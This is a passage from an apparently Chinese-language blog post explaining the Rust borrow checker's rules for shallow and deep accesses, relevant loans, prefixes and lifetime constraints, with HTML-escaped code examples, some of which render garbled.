&lt;p&gt;在对&lt;code&gt;a&lt;&#x2F;code&gt;进行赋值前，&lt;code&gt;&amp;amp;(*a.b).x.y&lt;&#x2F;code&gt;是in-scope的，这意味着对&lt;code&gt;(*a.b).x&lt;&#x2F;code&gt;、&lt;code&gt;(*a.b).x.y&lt;&#x2F;code&gt;、&lt;code&gt;(*a.b).x.y.z&lt;&#x2F;code&gt;等不能进行写入。而对&lt;code&gt;a&lt;&#x2F;code&gt;进行赋值后，&lt;code&gt;(*a.b).x&lt;&#x2F;code&gt;、&lt;code&gt;(*a.b).x.y&lt;&#x2F;code&gt;、&lt;code&gt;(*a.b).x.y.z&lt;&#x2F;code&gt;都不再与&lt;code&gt;r&lt;&#x2F;code&gt;所指向的对象相关，可以任意访问，因此我们认为此时&lt;code&gt;&amp;amp;(*a.b).x.y&lt;&#x2F;code&gt;不再in-scope，即使其lifetime延续到&lt;code&gt;a&lt;&#x2F;code&gt;被赋值以后。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;第二阶段，遍历CFG并找出不合法的操作，报告错误。对于每个对&lt;code&gt;lvalue&lt;&#x2F;code&gt;的访问，我们要在in-scope loan中找出对应的&lt;em&gt;relevant loans&lt;&#x2F;em&gt;，对于其中的每个loan：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;若loan为&lt;code&gt;shared&lt;&#x2F;code&gt;或&lt;code&gt;uniq&lt;&#x2F;code&gt;，且访问是读取，则合法&lt;&#x2F;li&gt;
&lt;li&gt;否则不合法&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;当然，若没有relevant loan，就代表当前值没有被borrow，访问合法。&lt;&#x2F;p&gt;
&lt;p&gt;我们将对&lt;code&gt;lvalue&lt;&#x2F;code&gt;的access分为deep和shallow，deep表示&lt;code&gt;lvalue&lt;&#x2F;code&gt;下通过引用可达的数据都有可能被修改或invalidate，而shallow表示访问过程不会涉及解引用，不影响通过引用间接可达的数据。&lt;&#x2F;p&gt;
&lt;p&gt;以下操作属于shallow access：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;StorageDead(x)&lt;&#x2F;code&gt;属于shallow write&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;Lv = Rv&lt;&#x2F;code&gt;属于对&lt;code&gt;Lv&lt;&#x2F;code&gt;的shallow write&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;对&lt;code&gt;lvalue&lt;&#x2F;code&gt;的shallow access的relevant loans&lt;code&gt;(&#x27;a, _, p)&lt;&#x2F;code&gt;要满足如下要求之一：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;p&lt;&#x2F;code&gt;为&lt;code&gt;lvalue&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;这表示&lt;code&gt;a.b.c&lt;&#x2F;code&gt;被borrow时，&lt;code&gt;a.b.c&lt;&#x2F;code&gt;就不能被写入或离开作用域&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;p&lt;&#x2F;code&gt;为&lt;code&gt;lvalue&lt;&#x2F;code&gt;的prefix&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;这表示&lt;code&gt;a&lt;&#x2F;code&gt;或&lt;code&gt;a.b&lt;&#x2F;code&gt;被borrow时，&lt;code&gt;a.b.c&lt;&#x2F;code&gt;就不能被写入或离开作用域&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;lvalue&lt;&#x2F;code&gt;为&lt;code&gt;p&lt;&#x2F;code&gt;的&lt;em&gt;shallow prefix&lt;&#x2F;em&gt;，shallow prefix指取prefix时，遇到dereference即停止，比supporting prefix的范围还小&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;这表示&lt;code&gt;a.b.c&lt;&#x2F;code&gt;被borrow时，&lt;code&gt;a&lt;&#x2F;code&gt;或&lt;code&gt;a.b&lt;&#x2F;code&gt;就不能被写入或离开作用域&lt;&#x2F;li&gt;
&lt;li&gt;但&lt;code&gt;*a&lt;&#x2F;code&gt;被borrow时，&lt;code&gt;a&lt;&#x2F;code&gt;可以被写入或离开作用域&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;以下操作属于deep access：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;在&lt;code&gt;Lv = Rv&lt;&#x2F;code&gt;的&lt;code&gt;Rv&lt;&#x2F;code&gt;中&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;每个lvalue operand都是一个deep access，若其实现了&lt;code&gt;Copy&lt;&#x2F;code&gt;则是deep read，否则为deep write&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;即copy为deep read，而move为deep write&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;shared borrow&lt;code&gt;&amp;amp;lvalue&lt;&#x2F;code&gt;算作deep read&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;mutable borrow&lt;code&gt;&amp;amp;mut lvalue&lt;&#x2F;code&gt;算作deep write&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;drop(x)&lt;&#x2F;code&gt;属于deep write&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;对&lt;code&gt;lvalue&lt;&#x2F;code&gt;的deep access的relevant loans&lt;code&gt;(&#x27;a, _, p)&lt;&#x2F;code&gt;要满足如下要求之一：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;p&lt;&#x2F;code&gt;为&lt;code&gt;lvalue&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;这表示&lt;code&gt;a.b.c&lt;&#x2F;code&gt;被mutably borrow时，&lt;code&gt;a.b.c&lt;&#x2F;code&gt;不能再被reborrow也不能被访问&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;p&lt;&#x2F;code&gt;为&lt;code&gt;lvalue&lt;&#x2F;code&gt;的prefix&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;这表示&lt;code&gt;a&lt;&#x2F;code&gt;或&lt;code&gt;a.b&lt;&#x2F;code&gt;被mutably borrow时，&lt;code&gt;a.b.c&lt;&#x2F;code&gt;不能再被reborrow也不能被访问&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;lvalue&lt;&#x2F;code&gt;为&lt;code&gt;p&lt;&#x2F;code&gt;的supporting prefix&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;这表示&lt;code&gt;a.b.c&lt;&#x2F;code&gt;被borrow时，&lt;code&gt;a&lt;&#x2F;code&gt;或&lt;code&gt;a.b&lt;&#x2F;code&gt;作为一个整体，不能被borrow或访问（但可以borrow或访问&lt;code&gt;a.x.y&lt;&#x2F;code&gt;）&lt;&#x2F;li&gt;
&lt;li&gt;与shallow access相对，&lt;code&gt;*a&lt;&#x2F;code&gt;被mutably borrow时，&lt;code&gt;a&lt;&#x2F;code&gt;不能被borrow或访问&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;borrow-check-reasoning&quot;&gt;Borrow Check Reasoning&lt;&#x2F;h3&gt;
&lt;p&gt;上述描述可能不够直观，我们来看一个典型的borrow check示例：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;let r = &amp;amp;&#x27;r mut a.b;    &#x2F;&#x2F; --+ lifetime &lt;&#x2F;code&gt;&#x27;r``&lt;br &#x2F;&gt;&lt;code&gt;use(a);                 &#x2F;&#x2F;   | ERROR! conflict with &amp;amp;&#x27;r mut a.b&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;use(a.b);               &#x2F;&#x2F;   | ERROR! conflict with &amp;amp;&#x27;r mut a.b&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;use(a.b.c);             &#x2F;&#x2F;   | ERROR! conflict with &amp;amp;&#x27;r mut a.b&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;use(r);                 &#x2F;&#x2F;   |&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;&#x2F;&#x2F; &amp;lt;-------------------------+&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;整个borrow check的过程有两个要点，第一是确定&lt;code&gt;&amp;amp;&#x27;r mut a.b&lt;&#x2F;code&gt;这个borrow的lifetime，第二是找到和该borrow冲突的访问，即对&lt;code&gt;a&lt;&#x2F;code&gt;、&lt;code&gt;a.b&lt;&#x2F;code&gt;、&lt;code&gt;a.b.c&lt;&#x2F;code&gt;的访问。由此可见borrow checker的算法是比较dumb的，它实际上无法追踪引用指向的locations，而只是对于所有的rvalue的引用&lt;code&gt;&amp;amp;&#x27;r mut path&lt;&#x2F;code&gt;，检查对于&lt;code&gt;path&lt;&#x2F;code&gt;或其prefix、field的访问。&lt;&#x2F;p&gt;
&lt;p&gt;由于borrow checker只关心&lt;code&gt;path&lt;&#x2F;code&gt;，因此引入&lt;em&gt;in-scope loan&lt;&#x2F;em&gt;的概念是必要的，若当前point&lt;code&gt;P&lt;&#x2F;code&gt;还包含在loan&lt;code&gt;&amp;amp;&#x27;r mut path&lt;&#x2F;code&gt;的lifetime&lt;code&gt;&#x27;r&lt;&#x2F;code&gt;中，但&lt;code&gt;path&lt;&#x2F;code&gt;已经失效，不再指向borrow所引用的locations，则不必检查与&lt;code&gt;path&lt;&#x2F;code&gt;冲突的访问，此时我们就说loan&lt;code&gt;&amp;amp;&#x27;r mut path&lt;&#x2F;code&gt;不再&lt;em&gt;in-scope&lt;&#x2F;em&gt;了。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;下面进一步考察borrow check的规则，不失一般性，考虑&lt;code&gt;let r = &amp;amp;&#x27;r mut a.b&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;首先，使用&lt;code&gt;r&lt;&#x2F;code&gt;本身与borrow check无关，因此我们可以对&lt;code&gt;*r&lt;&#x2F;code&gt;、&lt;code&gt;**r&lt;&#x2F;code&gt;等进行写入（除非path中有对shared reference的dereference）&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;其次，除了对&lt;code&gt;a&lt;&#x2F;code&gt;、&lt;code&gt;a.b&lt;&#x2F;code&gt;、&lt;code&gt;a.b.c&lt;&#x2F;code&gt;禁止访问，我们还对&lt;code&gt;*a.b&lt;&#x2F;code&gt;、&lt;code&gt;**a.b&lt;&#x2F;code&gt;等禁止访问，因为&lt;code&gt;a.b&lt;&#x2F;code&gt;是它们的prefix&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;这说明borrow对被borrow对象的所有权是deep的（即transitive的），所有对能被间接引用的数据的访问，都被视为与borrow冲突&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;上面第二点实际上揭示了另一条隐藏的borrow规则，这在网上任何地方都没有介绍。概念上可以认为，对于&lt;code&gt;b = &amp;amp;mut c; a = &amp;amp;b;&lt;&#x2F;code&gt;，&lt;code&gt;c&lt;&#x2F;code&gt;的borrow stack由&lt;code&gt;[c, b, a]&lt;&#x2F;code&gt;构成，即&lt;code&gt;a&lt;&#x2F;code&gt;在这里起到的效果相当于一个对&lt;code&gt;b&lt;&#x2F;code&gt;的shared reborrow，它会导致我们无法通过&lt;code&gt;b&lt;&#x2F;code&gt;修改&lt;code&gt;c&lt;&#x2F;code&gt;的值，我们不妨将这种现象称为&lt;strong&gt;transborrow&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;需要指出的是transborrow和普通的reborrow有所不同，考虑&lt;code&gt;b = &amp;amp;c; a = &amp;amp;mut b;&lt;&#x2F;code&gt;，此时&lt;code&gt;c&lt;&#x2F;code&gt;的borrow stack可以视为&lt;code&gt;[c, b, a]&lt;&#x2F;code&gt;，这说明我们可以用一个mutable borrow来transborrow一个shared borrow，但在&lt;code&gt;[c, b, a]&lt;&#x2F;code&gt;中&lt;code&gt;a&lt;&#x2F;code&gt;实际上从mutable borrow退化为了shared borrow。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;现在考虑&lt;code&gt;let r = &amp;amp;&#x27;r mut *a&lt;&#x2F;code&gt;，其中&lt;code&gt;a&lt;&#x2F;code&gt;为mutable reference，不妨设&lt;code&gt;a = &amp;amp;&#x27;a mut b&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;p&gt;我们知道，&lt;code&gt;r&lt;&#x2F;code&gt;实际上是对&lt;code&gt;b&lt;&#x2F;code&gt;的reborrow，因此对&lt;code&gt;a&lt;&#x2F;code&gt;的shallow access应该允许，例如令&lt;code&gt;a&lt;&#x2F;code&gt;指向另一个变量&lt;code&gt;c&lt;&#x2F;code&gt;（&lt;code&gt;a = &amp;amp;mut c&lt;&#x2F;code&gt;）。由于我们规定对于loan&lt;code&gt;&amp;amp;&#x27;r path&lt;&#x2F;code&gt;，只有对&lt;code&gt;path&lt;&#x2F;code&gt;的shallow prefix&lt;code&gt;lvalue&lt;&#x2F;code&gt;的访问才是冲突的shallow access，容易看出当前的borrow check算法满足这一点。&lt;&#x2F;p&gt;
&lt;p&gt;另一方面，注意到不仅通过&lt;code&gt;*a = x&lt;&#x2F;code&gt;或&lt;code&gt;x = *a&lt;&#x2F;code&gt;的形式可以访问&lt;code&gt;b&lt;&#x2F;code&gt;，表达式中只出现&lt;code&gt;a&lt;&#x2F;code&gt;而不出现&lt;code&gt;*a&lt;&#x2F;code&gt;也能间接访问到&lt;code&gt;b&lt;&#x2F;code&gt;，也就是所谓的deep access。这就是为什么对于loan&lt;code&gt;&amp;amp;&#x27;r mut *a&lt;&#x2F;code&gt;，我们认为对&lt;code&gt;a&lt;&#x2F;code&gt;的deep access与该loan是冲突的。&lt;&#x2F;p&gt;
&lt;p&gt;需要指出的是，deep access不一定是立即访问了&lt;code&gt;b&lt;&#x2F;code&gt;，而是说造成了一种将来间接访问&lt;code&gt;b&lt;&#x2F;code&gt;的可能性。考虑&lt;code&gt;let x = &amp;amp;a&lt;&#x2F;code&gt;，创建引用本身是合法的，因为&lt;code&gt;r&lt;&#x2F;code&gt;没有引用&lt;code&gt;a&lt;&#x2F;code&gt;，&lt;code&gt;a&lt;&#x2F;code&gt;还处于未被borrow的状态，但此后引用&lt;code&gt;x&lt;&#x2F;code&gt;可能被用于访问&lt;code&gt;b&lt;&#x2F;code&gt;，例如&lt;code&gt;y = **x&lt;&#x2F;code&gt;。由于borrow checker无法追踪引用指向的location，它无法检查出&lt;code&gt;**x&lt;&#x2F;code&gt;是对&lt;code&gt;b&lt;&#x2F;code&gt;的访问，因此为了保证borrow check算法的soundness，我们必须直接禁止引用&lt;code&gt;x&lt;&#x2F;code&gt;的创建。&lt;&#x2F;p&gt;
&lt;p&gt;之所以对&lt;code&gt;a&lt;&#x2F;code&gt;的copy被视为deep read，而move被视为deep write，是因为mutable reference都采用move语义。若&lt;code&gt;a&lt;&#x2F;code&gt;使用copy语义，则说明其中不直接含有mutable reference（可以间接含有，例如&lt;code&gt;a: &amp;amp; &amp;amp;mut T&lt;&#x2F;code&gt;），因此对于从&lt;code&gt;a&lt;&#x2F;code&gt;copy得到的任意&lt;code&gt;x = a&lt;&#x2F;code&gt;，我们至多只能通过&lt;code&gt;x&lt;&#x2F;code&gt;读取&lt;code&gt;a&lt;&#x2F;code&gt;所引用的数据。反之，若&lt;code&gt;a&lt;&#x2F;code&gt;采用move语义，则其可能含有mutable reference，因此可能产生对&lt;code&gt;a&lt;&#x2F;code&gt;引用的数据的写入。&lt;&#x2F;p&gt;
&lt;p&gt;若此处的&lt;code&gt;a&lt;&#x2F;code&gt;的类型是&lt;code&gt;Ref&amp;lt;&#x27;a&amp;gt; { x: &amp;amp;&#x27;a mut T }&lt;&#x2F;code&gt;，且&lt;code&gt;Ref&amp;lt;&#x27;a&amp;gt;&lt;&#x2F;code&gt;实现了&lt;code&gt;Drop&lt;&#x2F;code&gt;，则有可能&lt;code&gt;drop(a)&lt;&#x2F;code&gt;这个deep access会直接访问到&lt;code&gt;*a.x&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;borrow check算法中规定，若&lt;code&gt;lvalue&lt;&#x2F;code&gt;是对&lt;code&gt;path&lt;&#x2F;code&gt;的loan的supporting prefix，则对&lt;code&gt;lvalue&lt;&#x2F;code&gt;的deep access和该loan冲突，我们来考察这一规定的正确性：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;首先，对于loan&lt;code&gt;&amp;amp;&#x27;r mut path&lt;&#x2F;code&gt;，&lt;code&gt;path&lt;&#x2F;code&gt;中的每个解引用都必须是对mutable reference的解引用，否则无法创建reborrow&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;根据shared reference的immutability的传递性，&lt;code&gt;path&lt;&#x2F;code&gt;作为一个lvalue时是只读的，因此Rust规定不能对其创建mutable的reborrow&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;若loan为&lt;code&gt;&amp;amp;&#x27;r mut path&lt;&#x2F;code&gt;，则&lt;code&gt;path&lt;&#x2F;code&gt;的所有prefix都是supporting prefix，且通过所有这些prefix都可以对&lt;code&gt;path&lt;&#x2F;code&gt;进行访问，因此所有这些prefix都和该loan冲突&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;若loan为&lt;code&gt;&amp;amp;&#x27;r path&lt;&#x2F;code&gt;，不失一般性，考虑&lt;code&gt;&amp;amp;&#x27;r ***a&lt;&#x2F;code&gt;，其中&lt;code&gt;a: &amp;amp;mut &amp;amp; &amp;amp;mut T&lt;&#x2F;code&gt;，&lt;code&gt;***a&lt;&#x2F;code&gt;指向&lt;code&gt;b&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;实际上由于中间的shared reference，无论通过&lt;code&gt;a&lt;&#x2F;code&gt;、&lt;code&gt;*a&lt;&#x2F;code&gt;还是&lt;code&gt;**a&lt;&#x2F;code&gt;都只能对&lt;code&gt;b&lt;&#x2F;code&gt;进行读取而不能写入，故我们只需认为&lt;code&gt;***a&lt;&#x2F;code&gt;和&lt;code&gt;&amp;amp;&#x27;r***a&lt;&#x2F;code&gt;冲突即可&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;对于&lt;code&gt;**a&lt;&#x2F;code&gt;，无法通过&lt;code&gt;x =**a&lt;&#x2F;code&gt;将其move out然后再通过&lt;code&gt;x&lt;&#x2F;code&gt;写入&lt;code&gt;b&lt;&#x2F;code&gt;（被borrow者不能被move），也无法通过&lt;code&gt;x = &amp;amp;mut **a&lt;&#x2F;code&gt;建立引用再通过&lt;code&gt;x&lt;&#x2F;code&gt;写入&lt;code&gt;b&lt;&#x2F;code&gt;（由于shared reference的传递性）&lt;&#x2F;li&gt;
&lt;li&gt;对于&lt;code&gt;*a&lt;&#x2F;code&gt;，由于&lt;code&gt;*a&lt;&#x2F;code&gt;是一个shared reference，通过&lt;code&gt;x = *a&lt;&#x2F;code&gt;不能写入&lt;code&gt;b&lt;&#x2F;code&gt;，通过&lt;code&gt;x = &amp;amp;mut *a&lt;&#x2F;code&gt;也无法写入&lt;code&gt;b&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;对于&lt;code&gt;a&lt;&#x2F;code&gt;，即使对&lt;code&gt;a&lt;&#x2F;code&gt;进行move或borrow，最后要访问到&lt;code&gt;b&lt;&#x2F;code&gt;总是会经过shared reference，因此无法写入&lt;code&gt;b&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;supporting prefix为&lt;code&gt;***a&lt;&#x2F;code&gt;和&lt;code&gt;**a&lt;&#x2F;code&gt;，还额外包含了&lt;code&gt;**a&lt;&#x2F;code&gt;，因此显然是正确的。其实对于shared reference，只需检查shallow prefix即可。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;我们上面只考虑了对于&lt;code&gt;&amp;amp;&#x27;r *a&lt;&#x2F;code&gt;需要检查对&lt;code&gt;a&lt;&#x2F;code&gt;的访问，实际上对于loan&lt;code&gt;&amp;amp;&#x27;r path&lt;&#x2F;code&gt;，除了&lt;code&gt;path&lt;&#x2F;code&gt;的prefix和field，也有可能通过其他变量访问&lt;code&gt;path&lt;&#x2F;code&gt;所在的locations，这就不是通过对该loan本身的borrow check能保证的了。&lt;&#x2F;p&gt;
&lt;p&gt;首先，对于形如&lt;code&gt;&amp;amp;&#x27;r mut a.b.c&lt;&#x2F;code&gt;的loan，容易看出在其lifetime内，只有其reborrow可以访问&lt;code&gt;path&lt;&#x2F;code&gt;所在的locations，因为若存在其他borrow能访问&lt;code&gt;path&lt;&#x2F;code&gt;所在的locations，则该loan的创建就会违反borrow check。同理，对于形如&lt;code&gt;&amp;amp;&#x27;r a.b.c&lt;&#x2F;code&gt;的loan，在其lifetime内除了&lt;code&gt;path&lt;&#x2F;code&gt;本身外没有任何引用可以写入&lt;code&gt;path&lt;&#x2F;code&gt;所在的locations。因此，我们只需要考虑&lt;code&gt;path&lt;&#x2F;code&gt;中含有dereference的loan即可。&lt;&#x2F;p&gt;
&lt;p&gt;先考虑&lt;code&gt;path&lt;&#x2F;code&gt;仅含一个dereference的情形，不失一般性，考虑path为&lt;code&gt;*a&lt;&#x2F;code&gt;的loan即可：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;对于&lt;code&gt;&amp;amp;&#x27;r *a&lt;&#x2F;code&gt;，其中&lt;code&gt;a = &amp;amp;&#x27;a lvalue&lt;&#x2F;code&gt;，根据约束3有&lt;code&gt;&#x27;a : &#x27;r&lt;&#x2F;code&gt;，因此根据针对&lt;code&gt;&amp;amp;&#x27;a lvalue&lt;&#x2F;code&gt;的borrow check，在lifetime&lt;code&gt;&#x27;r&lt;&#x2F;code&gt;内不允许通过&lt;code&gt;lvalue&lt;&#x2F;code&gt;写入&lt;code&gt;*a&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;对于&lt;code&gt;&amp;amp;&#x27;r *a&lt;&#x2F;code&gt;或&lt;code&gt;&amp;amp;&#x27;r mut *a&lt;&#x2F;code&gt;，其中&lt;code&gt;a = &amp;amp;&#x27;a mut lvalue&lt;&#x2F;code&gt;，同理可知在lifetime&lt;code&gt;&#x27;r&lt;&#x2F;code&gt;内不允许通过&lt;code&gt;lvalue&lt;&#x2F;code&gt;访问&lt;code&gt;*a&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;若&lt;code&gt;a&lt;&#x2F;code&gt;本身又是reborrow，即&lt;code&gt;lvalue&lt;&#x2F;code&gt;中含有dereference，则再次运用上述推理即可&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;由此可知borrow check算法在此种情形下的正确性。实际上lifetime推导算法中的约束3，正是为了保证borrow check算法的正确性而设置，我们看下面这个例子：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;let new;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;{&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;   let old = &amp;amp;mut x;   &#x2F;&#x2F; --+ lifetime of&lt;&#x2F;code&gt;old```    new = &amp;amp;*old;        &#x2F;&#x2F;   |&lt;code&gt;}                       &#x2F;&#x2F;   |&lt;&#x2F;code&gt;x = x0;                 &#x2F;&#x2F;   | ERROR! conflict with &lt;code&gt;&amp;amp;mut x``&lt;&#x2F;code&gt;use(new);               &#x2F;&#x2F;   |&#x2F;&#x2F; &amp;lt;-------------------------+`&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;若没有约束3，&lt;code&gt;&amp;amp;mut x&lt;&#x2F;code&gt;的lifetime限制在&lt;code&gt;old&lt;&#x2F;code&gt;的作用域内，则borrow checker无法发现&lt;code&gt;x = x0&lt;&#x2F;code&gt;与&lt;code&gt;new&lt;&#x2F;code&gt;这个shared borrow冲突，因为字面上&lt;code&gt;new&lt;&#x2F;code&gt;引用的是&lt;code&gt;*old&lt;&#x2F;code&gt;而不是&lt;code&gt;x&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;下面我们考虑&lt;code&gt;path&lt;&#x2F;code&gt;含有多个dereference的情形，不失一般性，考虑path为&lt;code&gt;**a&lt;&#x2F;code&gt;的loan即可，这将说明约束3中的supporting prefix这个条件是怎么来的。&lt;&#x2F;p&gt;
&lt;p&gt;第一种情况，&lt;code&gt;a = &amp;amp;&#x27;a mut b&lt;&#x2F;code&gt;，&lt;code&gt;b = &amp;amp;&#x27;b mut c&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt; a&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; ↓ &amp;amp;&#x27;a mut&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;*a&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; ↓ &amp;amp;&#x27;b mut&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;**a     &amp;lt;-- &amp;amp;&#x27;r**a &#x2F; &amp;amp;&#x27;r mut **a&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
